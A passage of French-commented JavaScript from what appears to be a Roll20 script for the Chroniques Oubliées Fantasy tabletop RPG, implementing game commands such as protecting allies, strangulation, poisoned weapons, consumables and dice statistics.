return; } var tokenProtecteur = protecteur.token; var charIdProtecteur = protecteur.charId; var nameProtecteur = tokenProtecteur.get('name'); var pageId = tokenProtecteur.get('pageid'); var target = tokenOfId(args[2], args[2], pageId); if (target === undefined) { error("Le deuxième argument n'est pas un token valide: " + msg.content, args[2]); return; } var tokenTarget = target.token; if (tokenTarget.id == tokenProtecteur.id) { sendChar(charIdProtecteur, "ne peut pas se protéger lui-même"); return; } var charIdTarget = target.charId; var nameTarget = tokenTarget.get('name'); var evt = { type: "Protéger un allié" }; var attrsProtecteur = tokenAttribute(protecteur, 'protegerUnAllie'); var protegePar = 'protegePar_' + nameProtecteur; if (attrsProtecteur.length > 0) { //On protège déjà quelqu'un var previousTarget = tokenOfId(attrsProtecteur[0].get('current'), attrsProtecteur[0].get('max'), pageId); if (previousTarget) { if (previousTarget.token.id == tokenTarget.id) { sendChar(charIdProtecteur, "protège déjà " + nameTarget); return; } removeTokenAttr(previousTarget, protegePar, evt, "n'est plus protégé par " + nameProtecteur); } } setTokenAttr(protecteur, 'protegerUnAllie', tokenTarget.id, evt, "protège " + nameTarget, nameTarget); setTokenAttr(target, protegePar, tokenProtecteur.id, evt, undefined, nameProtecteur); addEvent(evt); } function actionDefensive(msg) { var cmd = msg.content.split(' '); var def = 2; //pour une défense simple var defMsg = "préfère se défendre pendant ce tour"; if (cmd.length > 1) { switch (cmd[1]) { case 'totale': def = 4; defMsg = "se consacre entièrement à sa défense pendant ce tour"; break; case 'simple': def = 2; break; default: error("Argument de !cof-action-defensive non reconnu", cmd); } } var evt = { type: "action défensive" }; initiative(msg.selected, evt); iterSelected(msg.selected, function(perso) { setTokenAttr(perso, 'defenseTotale', def, evt, defMsg, state.COFantasy.tour); }); addEvent(evt); } function strangulation(msg) { var args = msg.content.split(' '); if (args.length < 3) { error("Pas assez d'arguments pour !cof-strangulation: " + msg.content, args); return; } var necromancien = tokenOfId(args[1], args[1]); if (necromancien === undefined) { error("Le premier argument n'est pas un token", args[1]); return; } var charId1 = necromancien.charId; var pageId = necromancien.token.get('pageid'); var target = tokenOfId(args[2], args[2], pageId); if (target === undefined) { error("Le deuxième argument n'est pas un token valide: " + msg.content, args[2]); return; } var charId2 = target.charId; var name2 = target.token.get('name'); if (!attributeAsBool(target, 'strangulation')) { sendChar(charId1, "ne peut pas maintenir la strangulation. Il faut (re)lancer le cort"); return; } var evt = { type: "Strangulation" }; var dureeStrang = tokenAttribute(target, 'dureeStrangulation'); var nouvelleDuree = 1; if (dureeStrang.length > 0) { nouvelleDuree = parseInt(dureeStrang[0].get('current')); if (isNaN(nouvelleDuree)) { log("Durée de strangulation n'est pas un nombre"); log(dureeStrang); nouvelleDuree = 1; } else nouvelleDuree++; } setTokenAttr(target, 'dureeStrangulation', nouvelleDuree, evt, undefined, true); var deStrang = 6; if (msg.content.includes(' --puissant')) deStrang = 8; var dmgExpr = "[[1d" + deStrang + " "; var modInt = modCarac(necromancien, 'INTELLIGENCE'); if (modInt > 0) dmgExpr += "+" + modInt; else if (modInt < 0) dmgExpr += modInt; dmgExpr += "]]"; sendChat('', dmgExpr, function(res) { var dmg = { type: 'magique', total: res[0].inlinerolls[0].results.total, display: buildinline(res[0].inlinerolls[0], 'normal', true), }; dealDamage(target, dmg, [], evt, 1, { attaquant: necromancien }, undefined, function(dmgDisplay, dmg) { sendChar(charId1, "maintient sa strangulation sur " + name2 + ". Dommages : " + dmgDisplay); addEvent(evt); }); }); } function ombreMortelle(msg) { var args = msg.content.split(' '); if (args.length < 4) { error("Pas assez d'arguments pour " + args[0], args); return; } var lanceur = tokenOfId(args[1], args[1]); if (lanceur === undefined) { error("Le premier argument n'est pas un token valide", args[1]); return; } var pageId = lanceur.token.get('pageid'); var cible = tokenOfId(args[2], args[2], pageId); if (cible === undefined) { error("La cible n'est pas un token valide", args[2]); return; } cible.name = cible.token.get('name'); var duree = parseInt(args[3]); if (isNaN(duree) || duree <= 0) { error("La durée doit être un nombre positif", args); return; } var image = IMAGE_OMBRE; var options = {}; var opts = msg.content.split(' --'); opts.shift(); opts.forEach(function(option) { var cmd = option.split(' '); switch (cmd[0]) { case 'portee': if (cmd.length < 2) { error("Il manque l'argument de --portee", msg.content); return; } options.portee = parseInt(cmd[1]); if (isNaN(options.portee) || options.portee < 0) { error("La portée doit être un nombre positif", cmd); options.portee = undefined; } return; case 'mana': if (cmd.length < 2) { error("Il manque l'argument de --mana", msg.content); return; } options.mana = parseInt(cmd[1]); if (isNaN(options.mana) || options.mana < 0) { error("Le coût en mana doit être un nombre positif", cmd); options.mana = undefined; } return; case 'image': if (cmd.length < 2) { error("Il manque l'argument de --mana", msg.content); return; } image = cmd[1]; return; default: return; } }); if (options.portee !== undefined) { var distance = distanceCombat(lanceur.token, cible.token, pageId); if (distance > options.portee) { sendChar(lanceur.charId, "est trop loind de " + cible.name + " pour animer son ombre"); return; } } var evt = { type: "Ombre mortelle" }; if (options.mana) { var msgMana = "invoquer une ombre mortelle"; if (!depenseMana(lanceur, options.mana, msgMana, evt)) return; } copieToken(cible, image, IMAGE_OMBRE, "Ombre de " + cible.name, 'ombreMortelle', duree, pageId, evt); sendChar(lanceur.charId, "anime l'ombre de " + cible.name + ". Celle-ci commence à attaquer " + cible.name + "&nbsp;!"); addEvent(evt); } function copieToken(cible, image1, image2, nom, effet, duree, pageId, evt) { var pv = parseInt(cible.token.get('bar1_value')); if (isNaN(pv)) { error("Token avec des PV qui ne sont pas un nombre", cible.token); return; } if (pv > 1) pv = Math.floor(pv / 2); var pvMax = parseInt(cible.token.get('bar1_max')); if (isNaN(pvMax)) { error("Token avec des PV max qui ne sont pas un nombre", cible.token); return; } if (pvMax > 1) pvMax = Math.floor(pvMax / 2); var tokenFields = { _pageid: pageId, imgsrc: image1, represents: cible.charId, left: cible.token.get('left') + 60, top: cible.token.get('top'), width: cible.token.get('width'), height: cible.token.get('height'), rotation: cible.token.get('rotation'), layer: 'objects', name: nom, bar1_value: pv, bar1_max: pvMax, bar2_value: cible.token.get('bar2_value'), bar2_max: cible.token.get('bar2_max'), bar3_value: cible.token.get('bar3_value'), bar3_max: cible.token.get('bar3_max'), showname: true, showplayers_name: true, showplayers_bar1: true, }; var newToken; if (image1) newToken = createObj('graphic', tokenFields); if (newToken === undefined) { tokenFields.imgsrc = cible.token.get('imgsrc').replace("max", "thumb"); newToken = createObj('graphic', tokenFields); if (newToken === undefined) { log(tokenFields.imgsrc); if (image2 && image2 != image1) { tokenFields.imgsrc = image2; newToken = createObj('graphic', tokenFields); } if (newToken === undefined) { error("L'image du token sélectionné n'a pas été uploadé, et l'image par défaut n'est pas correcte. Impossible de créer un token.", tokenFields); return; } } } setTokenAttr({ token: newToken, charId: cible.charId }, effet, duree, evt, undefined, getInit()); initiative([{ _id: newToken.id }], evt); } //Attention : ne tient pas compte de la rotation ! function intersection(pos1, size1, pos2, size2) { if (pos1 == pos2) return true; if (pos1 < pos2) return ((pos1 + size1 / 2) >= pos2 - size2 / 2); return ((pos2 + size2 / 2) >= pos1 - size1 / 2); } var labelsEscalier = ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L"]; function escalier(msg) { getSelected(msg, function(selected) { if (selected.length === 0) { sendPlayer(msg, "!cof-escalier sans sélection de token"); log("!cof-escalier requiert de sélectionner des tokens"); return; } var pageId = getObj('graphic', selected[0]._id).get('pageid'); var escaliers = findObjs({ _type: 'graphic', _pageid: pageId, layer: 'gmlayer' }); if (escaliers.length === 0) { sendPlayer(msg, "Pas de token dans le layer GM"); return; } iterSelected(selected, function(perso) { var token = perso.token; var posX = token.get('left'); var sizeX = token.get('width'); var posY = token.get('top'); var sizeY = token.get('height'); var sortieEscalier; var etages; escaliers.forEach(function(esc) { if (sortieEscalier) return; if (intersection(posX, sizeX, esc.get('left'), esc.get('width')) && intersection(posY, sizeY, esc.get('top'), esc.get('height'))) { var escName = esc.get('name'); var l = escName.length; if (l > 2) { etages = escName.substr(l - 2, 1); if (isNaN(etages)) return; var label = escName.substr(l - 1, 1); escName = escName.substr(0, l - 1); var i = labelsEscalier.indexOf(label); if (i == etages - 1) escName += labelsEscalier[0]; else escName += labelsEscalier[i + 1]; sortieEscalier = escaliers.find(function(esc2) { if (esc2.get('name') == escName) return true; return false; }); } } }); if (sortieEscalier) { token.set('left', sortieEscalier.get('left')); token.set('top', sortieEscalier.get('top')); return; } sendPlayer(msg, token.get('name') + " n'est pas sur un escalier"); }); }); //fin getSelected } function defautDansLaCuirasse(msg) { var args = msg.content.split(' '); if (args.length < 3) { error("Pas assez d'arguments pour !cof-defaut-dans-la-cuirasse", args); return; } var tireur = tokenOfId(args[1], args[1]); if (tireur === undefined) { error("Le premier argument n'est pas un token valide", args[1]); return; } var pageId = tireur.token.get('pageid'); var cible = tokenOfId(args[2], args[2], pageId); if (cible === undefined) { error("La cible n'est pas un token valide", args[2]); return; } var evt = { type: "Défaut dans la cuirasse" }; setTokenAttr(cible, 'defautDansLaCuirasse_' + tireur.token.get('name'), 2, evt); sendChar(tireur.charId, "passe le tour à analyser les points faibles de " + cible.token.get('name')); addEvent(evt); } function postureDeCombat(msg) { var args = removeSelectedTokenIdFromArgs(msg, 4); if (args.length < 4) { error("Pas assez d'arguments pour !cof-posture-de-combat", args); return; } var bonus = parseInt(args[1]); var attrDebuf = args[2]; if (attrDebuf != 'DEF' && attrDebuf != 'ATT' && attrDebuf != 'DM') { error("L'attribut à débuffer pour la posture de combat est incorrect", args); return; } var attrBuf = args[3]; if (attrBuf != 'DEF' && attrBuf != 'ATT' && attrBuf != 'DM') { error("L'attribut à augmenter pour la posture de combat est incorrect", args); return; } getSelected(msg, function(selected) { iterSelected(selected, function(guerrier) { var charId = guerrier.charId; if (isNaN(bonus) || bonus < 1) { sendChar(charId, "doit choisir un bonus positif (pas " + args[1] + ") pour sa posture de combat"); return; } var rang = charAttributeAsInt(charId, "voieDuSoldat", 0); if (rang > 0 && rang < bonus) { sendChar(charId, "ne peut choisir qu'un bonus inférieur à " + rang + " pour sa posture de combat"); return; } var evt = { type: "Posture de combat" }; if (attrBuf == attrDebuf) { sendChar(charId, "prend une posture de combat neutre"); removeTokenAttr(guerrier, 'postureDeCombat', evt); addEvent(evt); return; } msg = "prend une posture "; switch (attrBuf) { case 'DEF': msg += "défensive"; break; case 'ATT': msg += "offensive"; break; case 'DM': msg += "puissante"; break; default: } msg += " mais "; switch (attrDebuf) { case 'DEF': msg += "risquée"; break; case 'ATT': msg += "moins précise"; break; case 'DM': msg += "moins puissante"; break; default: } setTokenAttr(guerrier, 'postureDeCombat', bonus, evt, msg, attrDebuf + "_" + attrBuf); addEvent(evt); }); }); } function tourDeForce(msg) { var args = removeSelectedTokenIdFromArgs(msg, 2); if (args.length < 2) { error("Il manque un argument à !cof-tour-de-force", args); return; } var seuil = parseInt(args[1]); var action = "<b>Capacité</b> : Tour de force"; getSelected(msg, function(selected) { iterSelected(selected, function(barbare) { if (isNaN(seuil)) { sendChar(barbare.charId, "le seuil de difficulté du tour de force doit être un nombre"); return; } var display = startFramedDisplay(msg.playerid, action, barbare); var evt = { type: "Tour de force" }; testCaracteristique(barbare, 'FOR', seuil, { bonus: 10 }, evt, function(testRes) { addLineToFramedDisplay(display, " Jet de force difficulté " + seuil); var smsg = barbare.token.get('name') + " fait " + testRes.texte; if (testRes.reussite) { smsg += " => réussite"; } else { smsg += " => échec"; } addLineToFramedDisplay(display, smsg); sendChat("", "[[1d4]]", function(res) { var rolls = res[0]; var explRoll = rolls.inlinerolls[0]; var r = { total: explRoll.results.total, type: 'normal', display: buildinline(explRoll, 'normal') }; var explications = []; dealDamage(barbare, r, [], evt, 1, {}, explications, function(dmgDisplay, dmg) { var dmgMsg = "mais cela lui coûte " + dmgDisplay + " PV"; addLineToFramedDisplay(display, dmgMsg); finaliseDisplay(display, explications, evt); }); }); }); }); }); } function encaisserUnCoup(msg) { getSelected(msg, function(selected) { if (selected.length === 0) { error("Personne n'est sélectionné pour encaisser un coup", msg); return; } var lastAct = lastEvent(); if (lastAct === undefined) { sendChat('', "Historique d'actions vide, pas d'action trouvée pour encaisser un coup"); return; } if (lastAct.type != 'Attaque' || lastAct.succes === false) { sendChat('', "la dernière action n'est pas une attaque réussie, trop tard pour encaisser le coup d'une action précédente"); return; } var attaque = lastAct.action; if (attaque.options.distance) { sendChat('', "Impossible d'encaisser le dernier coup, ce n'était pas une attaque au contact"); return; } var toProceed; var evt = { type: "Encaisser un coup" }; iterSelected(selected, function(chevalier) { if (!attributeAsBool(chevalier, 'encaisserUnCoup')) { sendChar(chevalier.charId, "n'est pas placé pour encaisser un coup"); return; } var cible = attaque.cibles.find(function(target) { return (target.token.id === chevalier.token.id); }); if (cible === undefined) { sendChar(chevalier.charId, "n'est pas la cible de la dernière attaque"); return; } removeTokenAttr(chevalier, 'encaisserUnCoup', evt); cible.extraRD = charAttributeAsInt(chevalier, 'DEFARMURE', 0) * charAttributeAsInt(chevalier, 'DEFARMUREON', 1) + charAttributeAsInt(chevalier, 'DEFBOUCLIER', 0) * charAttributeAsInt(chevalier, 'DEFBOUCLIERON', 1); toProceed = true; }); //fin iterSelected if (toProceed) { undoEvent(); var options = attaque.options; options.rollsAttack = attaque.rollsAttack; options.evt = evt; attack(attaque.player_id, attaque.attaquant, attaque, attaque.attack_label, options); } }); //fin getSelected } // asynchrone : on fait les jets du guerrier en opposition function absorberAuBouclier(msg) { getSelected(msg, function(selected) { if (selected.length === 0) { error("Personne n'est sélectionné pour absorber", msg); return; } var lastAct = lastEvent(); if (lastAct === undefined) { sendChat('', "Historique d'actions vide, pas d'action trouvée pour absorber un coup ou un sort"); return; } if (lastAct.type != 'Attaque' || lastAct.succes === false) { sendChat('', "la dernière action n'est pas une attaque réussie, trop tard pour absorber l'attaque précédente"); return; } var attaque = lastAct.action; var options = attaque.options; options.rollsAttack = attaque.rollsAttack; options.evt = evt; var evt = { type: "absorber un " }; var attrAbsorbe = 'absorberUn'; if (options.sortilege) { evt.type += "sort"; attrAbsorbe += "Sort"; } else { evt.type += "coup"; attrAbsorbe += "Coup"; } var toProceed; var count = selected.length; iterSelected(selected, function(guerrier) { if (charAttributeAsInt(guerrier, 'DEFBOUCLIERON', 1) != 1) { sendChar(guerrier.charId, "ne porte pas son bouclier, il ne peut pas " + evt.type); count--; return; } if (!attributeAsBool(guerrier, attrAbsorbe)) { sendChar(guerrier.charId, "n'est pas placé pour " + evt.type); count--; return; } var cible = attaque.cibles.find(function(target) { return (target.token.id === guerrier.token.id); }); if (cible === undefined) { sendChar(guerrier.charId, "n'est pas la cible de la dernière attaque"); count--; return; } removeTokenAttr(guerrier, attrAbsorbe, evt); toProceed = true; var attackRollExpr = "[[" + computeDice(guerrier, 1) + "]]"; sendChat('', attackRollExpr, function(res) { var rolls = res[0]; var attackRoll = rolls.inlinerolls[0]; var totalAbsorbe = attackRoll.results.total; var msgAbsorber = buildinline(attackRoll); var attBonus = charAttributeAsInt(guerrier, 'NIVEAU', 1); if (options.sortilege) { attBonus += modCarac(guerrier, 'SAGESSE'); attBonus += charAttributeAsInt(guerrier, 'ATKMAG_DIV', 0); } else { attBonus += modCarac(guerrier, 'FORCE'); attBonus += charAttributeAsInt(guerrier, 'ATKCAC_DIV', 0); } totalAbsorbe += attBonus; if (attBonus > 0) msgAbsorber += "+" + attBonus; else if (attBonus < 0) msgAbsorber += attBonus; var explAbsorber = []; var attAbsBonus = bonusAttaqueA(cible, cible.tokName, 'bouclier', evt, explAbsorber, {}); var pageId = guerrier.token.get('pageid'); bonusAttaqueD(cible, attaque.attaquant, 0, pageId, evt, explAbsorber, {}, function(bad) { attAbsBonus += bad; if (attAbsBonus > 0) msgAbsorber += "+" + attAbsBonus; else if (attAbsBonus < 0) msgAbsorber += attAbsBonus; explAbsorber.push(cible.tokName + " tente d'absorber l'attaque avec son bouclier. Il fait " + msgAbsorber); cible.absorber = totalAbsorbe; cible.absorberDisplay = msgAbsorber; cible.absorberExpl = explAbsorber; count--; if (count === 0) { toProceed = false; undoEvent(); attack(attaque.player_id, attaque.attaquant, attaque, attaque.attack_label, options); } }); //fin bonusAttaqueD }); //fin lancé de dés asynchrone }); //fin iterSelected if (count === 0 && toProceed) { undoEvent(); attack(attaque.player_id, attaque.attaquant, attaque, attaque.attack_label, options); } }); //fin getSelected } // modifie res et le retourne (au cas où il ne serait pas donné) function listRollResults(roll, res) { res = res || []; switch (roll.type) { case 'V': //top-level des rolls if (roll.rolls === undefined) break; roll.rolls.forEach(function(r) { listRollResults(r, res); }); return res; case 'R': //jet simple if (roll.results === undefined) break; roll.results.forEach(function(r) { if (r.v) res.push(r.v); else if (r.d) res.push(r.d); else log("Type de résultat de dé inconnu " + r); }); return res; case 'M': case 'L': return res; case 'G': if (roll.rolls === undefined) break; roll.rolls.forEach(function(ra) { ra.forEach(function(r) { listRollResults(r, res); }); }); return res; default: log("tag inconnu"); } error("Structure de roll inconnue", roll); return res; } //category est un tableau de string, le premier élément étant la catégorie //principale, le suivant la sous-catégorie, etc //value peut être un nombre, un tableau de nombres, ou un inline roll function addStatistics(playerId, category, value) { if (state.COFantasy.statistiques === undefined) return; var stat = state.COFantasy.statistiques; if (playerId) { var player = getObj('player', playerId); if (player) { //On utilise l'id roll20 qui semble persistante var pid = player.get('d20userid'); stat[pid] = stat[pid] || {}; stat = stat[pid]; } } if (category) { category.forEach(function(cat) { stat[cat] = stat[cat] || {}; stat = stat[cat]; }); } if (!Array.isArray(value)) { if (value.results) value = listRollResults(value.results); else value = [value]; } value.forEach(function(v) { if (isNaN(v)) { error("statistique sur une valeur qui n'est pas un nombre", value); return; } if (typeof v != 'number') v = parseInt(v); if (stat.total) stat.total += v; else stat.total = v; if (stat.nombre) stat.nombre++; else stat.nombre = 1; }); } function displayStatCategory(stats, indent, categoryName, accum) { var res = { nombre: 0, total: 0, }; if (stats.nombre) { //on peut afficher des résultats res.nombre = stats.nombre; res.total = stats.total; } var nindent = indent + "&nbsp;&nbsp;"; var nAccum = []; for (var category in stats) { if (category == 'total' || category == 'nombre') break; var catRes = displayStatCategory(stats[category], nindent, category, nAccum); res.nombre += catRes.nombre; res.total += catRes.total; } var msg = "aucun jet cellecté"; if (res.nombre > 0) { var moyenne = res.total / res.nombre; msg = res.nombre + " jet" + ((res.nombre > 1) ? "s" : "") + ", moyenne " + moyenne; } if (nAccum.length > 0) msg = indent + categoryName + " (" + msg + ") :"; else msg = indent + categoryName + " : " + msg; accum.push(msg); nAccum.forEach(function(m) { accum.push(m); }); return res; } function displayStatistics(msg) { var stats = state.COFantasy.statistiques; var display = startFramedDisplay(msg.playerid, "Statistiques"); if (stats === undefined) { stats = state.COFantasy.statistiquesEnPause; if (stats) addLineToFramedDisplay(display, "Statistiques en pause"); else { addLineToFramedDisplay(display, "Aucune statistique collectée"); sendChat("COF", endFramedDisplay(display)); return; } } var tot = { total: 0, nombre: 0 }; var players = findObjs({ type: 'player' }); var findPlayer = function(pid) { return players.find(function(p) { return (p.get('d20userid') == pid); }); }; var addMessages = function(mv) { mv.forEach(function(m) { addLineToFramedDisplay(display, m); }); }; for (var category in stats) { //first, check if the category is a player id var pl = findPlayer(category); var catName = category; if (pl) catName = pl.get('displayname'); var accum = []; var catRes = displayStatCategory(stats[category], "", catName, accum); addMessages(accum); tot.total += catRes.total; tot.nombre += catRes.nombre; } addLineToFramedDisplay(display, tot.nombre + " jets au total, dont la somme fait " + tot.total); sendChat("COF", endFramedDisplay(display)); } function destructionDesMortsVivants(msg) { var args = removeSelectedTokenIdFromArgs(msg, 2); if (args.length < 2) { error("Il faut au moins un argument à !cof-destruction-des-morts-vivants", args); return; } args.shift(); var dm = args.join(' '); dm = dm.replace(/%/g, '&#37;'); dm = dm.replace(/\)/g, '&#41;'); dm = dm.replace(/\?/g, '&#63;'); dm = dm.replace(/@/g, '&#64;'); dm = dm.replace(/\[/g, '&#91;'); dm = dm.replace(/\]/g, '&#93;'); getSelected(msg, function(selected) { iterSelected(selected, function(lanceur) { var evt = { type: "Destruction des morts-vivants" }; var display = startFramedDisplay(msg.playerid, "<b>Sort :<b> destruction des morts-vivants", lanceur); var name = lanceur.token.get('name'); testCaracteristique(lanceur, 'SAG', 13, {}, evt, function(testRes) { var msgJet = "Jet de SAG : " + testRes.texte; if (testRes.reussite) { var eventId = state.COFantasy.eventId; var action = "!cof-aoe &lbrack;&lbrack;" + dm + "&rbrack;&rbrack; --once " + eventId + " --morts-vivants"; evt.waitingForAoe = true; addLineToFramedDisplay(display, msgJet + " &ge; 13"); sendChat(name, endFramedDisplay(display)); sendChat('COF', "/w GM Sélectionner les token en vue de " + name + ", et [cliquer ici](" + action + ")"); } else { addLineToFramedDisplay(display, msgJet + " < 13"); addLineToFramedDisplay(display, name + " ne réussit pas à invoquer son dieu."); sendChat(name, endFramedDisplay(display)); } addEvent(evt); }); }); }); } function enduireDePoison(msg) { var optArgs = msg.content.split(' --'); var cmd = optArgs[0].split(' '); optArgs.shift(); if (cmd.length < 5) { error("Usage : !cof-enduire-poison L type force save", cmd); return; } var labelArme = cmd[1]; var typePoison = cmd[2]; if (typePoison != 'rapide') { error("le seul type de poison géré est rapide, pas " + typePoison, cmd); } var attribut = 'poisonRapide_' + labelArme; var forcePoison = cmd[3]; var savePoison = parseInt(cmd[4]); if (isNaN(savePoison)) { error("Le dernier argument non optionnel doit être la difficulté du test de CON", cmd); return; } var testINT = 14; var dose; var decrAttribute; var proprio; optArgs.forEach(function(arg) { cmd = arg.split(' '); switch (cmd[0]) { case 'testINT': if (cmd.length < 2) { error("Il faut un argument à --testINT", cmd); return; } testINT = parseInt(cmd[1]); if (isNaN(testINT)) { error("Argument de --testINT invalide", cmd); testINT = 14; } return; case 'dose': if (cmd.length < 2) { error("Il manque le nom de la dose de poison", cmd); return; } dose = cmd[1]; return; case 'decrAttribute': if (cmd.length < 2) { error("Erreur interne d'une commande générée par bouton", cmd); return; } var attr = getObj('attribute', cmd[1]); if (attr === undefined) { log("Attribut à changer perdu"); log(cmd); return; } decrAttribute = attr; return; } }); //fin du traitement des options getSelected(msg, function(selected) { iterSelected(selected, function(perso) { if (proprio && perso.token.id != proprio) { sendChar(perso.charId, "ne peut pas utiliser un poison qu'il n'a pas"); return; } var name = perso.token.get('name'); var att = getAttack(labelArme, name, perso.charId); if (att === undefined) { error(name + " n'a pas d'arme associée au label " + labelArme, cmd); return; } if (attributeAsBool(perso, attribut)) { sendChar(perso.charId, att.weaponName + " est déjà enduit de poison."); return; } var evt = { type: "Enduire de poison" }; var display = startFramedDisplay(msg.playerid, "Essaie d'enduire " + att.weaponName + " de poison", perso); if (dose) { var nomDose = dose.replace(/_/g, ' '); var doseAttr = tokenAttribute(perso, 'dose_' + dose); if (doseAttr.length === 0) { sendChar(perso.charId, "n'a pas de dose de " + nomDose); return; //evt toujours vide } doseAttr = doseAttr[0]; var nbDoses = parseInt(doseAttr.get('current')); if (isNaN(nbDoses) || nbDoses < 1) { sendChar(perso.charId, "n'a plus de dose de " + nomDose); return; //evt toujours vide } evt.attributes = evt.attributes || []; evt.attributes.push({ attribute: doseAttr, current: nbDoses }); //À partir de ce point, tout return doit ajouter evt nbDoses--; addLineToFramedDisplay(display, "Il restera " + nbDoses + " dose de " + nomDose + " à " + name); doseAttr.set('current', nbDoses); } if (decrAttribute) { var oldval = parseInt(decrAttribute.get('current')); if (isNaN(oldval) || oldval < 1) { sendChar(perso.charId, "n'a plus de ce poison"); return; } evt.attributes = evt.attributes || []; evt.attributes.push({ attribute: decrAttribute, current: oldval, max: decrAttribute.get('max') }); decrAttribute.set('current', oldval - 1); } //Test d'INT pour savoir si l'action réussit. testCaracteristique(perso, 'INT', testINT, {}, evt, function(tr) { var jet = "Jet d'INT : " + tr.texte; if (tr.echecCritique) { //échec critique jet += " Échec critique !"; addLineToFramedDisplay(display, jet); addLineToFramedDisplay(display, name + " s'empoisonne."); sendChat('', "[[" + forcePoison + "]]", function(res) { var rolls = res[0]; var dmgRoll = rolls.inlinerolls[0]; var r = { total: dmgRoll.results.total, type: 'poison', display: buildinline(dmgRoll, 'poison') }; var ps = { partialSave: { carac: 'CON', seuil: savePoison } }; var explications = []; dealDamage(perso, r, [], evt, 1, ps, explications, function(dmgDisplay, dmg) { explications.forEach(function(e) { addLineToFramedDisplay(display, e); }); addLineToFramedDisplay(name + " subit " + dmgDisplay + " DM"); addEvent(evt); sendChat("", endFramedDisplay(display)); }); //fin de dmg dus à l'échec critique }); //fin du jet de dmg return; } else if (tr.reussite) { jet += " &ge; " + testINT; addLineToFramedDisplay(display, jet); setTokenAttr(perso, attribut, forcePoison, evt, undefined, savePoison); addLineToFramedDisplay(display, att.weaponName + " est maintenant enduit de poison"); addEvent(evt); sendChat("", endFramedDisplay(display)); return; } else { //echec normal au jet d'INT jet += " < " + testINT + " : échec"; addLineToFramedDisplay(display, jet); addEvent(evt); sendChat("", endFramedDisplay(display)); return; } }); //fin du test de carac }); //fin de iterSelected }); //fin de getSelected } function listeConsommables(msg) { getSelected(msg, function(selected) { iterSelected(selected, function(perso) { if (perso.token.get('bar1_link') === '') { error("La liste de consommables n'est pas au point pour les tokens non liés", perso); return; } var display = startFramedDisplay(msg.playerid, "Liste des consommables", perso, undefined, true); var attributes = findObjs({ _type: 'attribute', _characterid: perso.charId }); attributes.forEach(function(attr) { var attrName = attr.get('name'); if (!(attrName.startsWith('dose_') || attrName.startsWith('consommable_') || attrName.startsWith('elixir_'))) return; var consName = attrName.substring(attrName.indexOf('_') + 1); consName = consName.replace(/_/g, ' '); var quantite = parseInt(attr.get('current')); if (isNaN(quantite) || quantite < 1) { addLineToFramedDisplay(display, "0 " + consName); return; } var action = attr.get('max'); var ligne = quantite + ' '; ligne += bouton(perso, action, consName, attr); addLineToFramedDisplay(display, ligne); }); //fin de la boucle sur les attributs sendChat('', endFramedDisplay(display)); }); }); //fin du getSelected } // Le premier argument est l'id du token, le deuxième est l'id de l'attribut, // le reste est le message à afficher function utiliseConsommable(msg) { var cmd = msg.content.split(' '); if (cmd.length < 3) { error("Erreur interne de consommables", cmd); return; } var perso = tokenOfId(cmd[1]); if (perso === undefined) { log("Propriétaire perdu"); sendChat('COF', "Plus possible d'utiliser cette action. Réafficher les consommables."); return; } // Vérifie les droits d'utiliser le consommable if (msg.selected && msg.selected.length == 1) { var utilisateur = tokenOfId(msg.selected[0]._id); if (utilisateur === undefined) { sendChat('COF', "Le token sélectionné n'est pas valide"); return; } var d = distanceCombat(perso.token, utilisateur.token); if (d > 0) { sendChar(utilisateur.charId, "est trop loin de " + perso.token.get('name') + " pour utiliser ses objets"); return; } perso = utilisateur; } else { //On regarde si le joueur contrôle le token if (!peutController(msg, perso)) { sendPlayer(msg, "Pas les droits pour ça"); return; } } var attr = getObj('attribute', cmd[2]); if (attr === undefined) { log("Attribut à changer perdu"); log(cmd); sendChat('COF', "Plus possible d'utiliser cette action. Réafficher les consommables."); return; } var oldval = parseInt(attr.get('current')); if (isNaN(oldval) || oldval < 1) { sendChat('COF', "Plus a déjà été utilisé"); return; } var evt = { type: "Utilisation de consommable", attributes: [] }; evt.attributes.push({ attribute: attr, current: oldval, max: attr.get('max') }); attr.set('current', oldval - 1); var start = msg.content.indexOf(' --message ') + 10; sendChar(perso.charId, msg.content.substring(start)); addEvent(evt); } //asynchrone //callback(resultat, crit): // resultat peut être 0, 1 ou 2 : 0 = match null, 1 le perso 1 gagne, 2 le perso 2 gagne. // crit peut être 1 si un des deux perso a fait une réussite critique et pas l'autre, -1 si un des personnage a fait un échec critique et pas l'autre, et 0 sinon function testOppose(perso1, carac1, perso2, carac2, explications, evt, callback) { if (carac2 === undefined) carac2 = carac1; var nom1 = perso1.token.get('name'); var nom2 = perso2.token.get('name'); jetCaracteristique(perso1, carac1, {}, function(rt1) { jetCaracteristique(perso2, carac2, {}, function(rt2) { explications.push("Jet de " + carac1 + " de " + nom1 + " :" + rt1.texte); explications.push("Jet de " + carac2 + " de " + nom2 + " :" + rt2.texte); var reussite; var crit = 0; if (rt1.total > rt2.total) reussite = 1; else if (rt2.total > rt1.total) reussite = 2; else reussite = 0; if (rt1.echecCritique) { if (!rt2.echecCritique) { reussite = 2; crit = -1; } } else if (rt2.echecCritique) { reussite = 1; crit = -1; } else if (rt1.critique) { if (!rt2.critique) { reussite = 1; crit = 1; } } else if (rt2.critique) { reussite = 2; crit = 1; } switch (reussite) { case 1: diminueMalediction(perso2, evt); break; case 2: diminueMalediction(perso1, evt); break; } callback(reussite, crit); }); //Fin du jet du deuxième perso }); //Fin du jet du premier perso } function provocation(msg) { var args = msg.content.split(' --'); var cmd = args[0].split(' '); if (cmd.length < 3) { error("La commande !cof-provocation requiert 2 arguments", cmd); return; } var voleur = tokenOfId(cmd[1]); if (voleur === undefined) { error("Le premier argument de !cof-provocation n'est pas un token valide"); return; } var cible = tokenOfId(cmd[2]); if (cible === undefined) { error("Le deuxième argument de !cof-provocation n'est pas un token valide"); return; } var nomVoleur = voleur.token.get('name'); var nomCible = cible.token.get('name'); var display = startFramedDisplay(msg.playerid, 'Provocation', voleur, cible); var evt = { type: 'Provocation' }; var jets = []; testOppose(voleur, 'CHA', cible, 'INT', jets, evt, function(res, crit) { jets.forEach(function(l) { addLineToFramedDisplay(display, l); }); var reussite; switch (res) { case 0: //en cas d'égalité, on considère que la provocation est réussie diminueMalediction(cible, evt); switch (crit) { case -1: reussite = "Sur un malentendu, la provocation réussit..."; break; case 0: case 1: reussite = "La provocation réussit tout juste."; } break; case 1: switch (crit) { case -1: reussite = nomCible + " marche complètement, il attaque " + nomVoleur; break; case 0: reussite = "La provocation réussit."; break; case 1: reussite = "La provocation est une réussite critique !"; } break; case 2: switch (crit) { case -1: reussite = "Échec critique de la provocation !"; break; case 0: 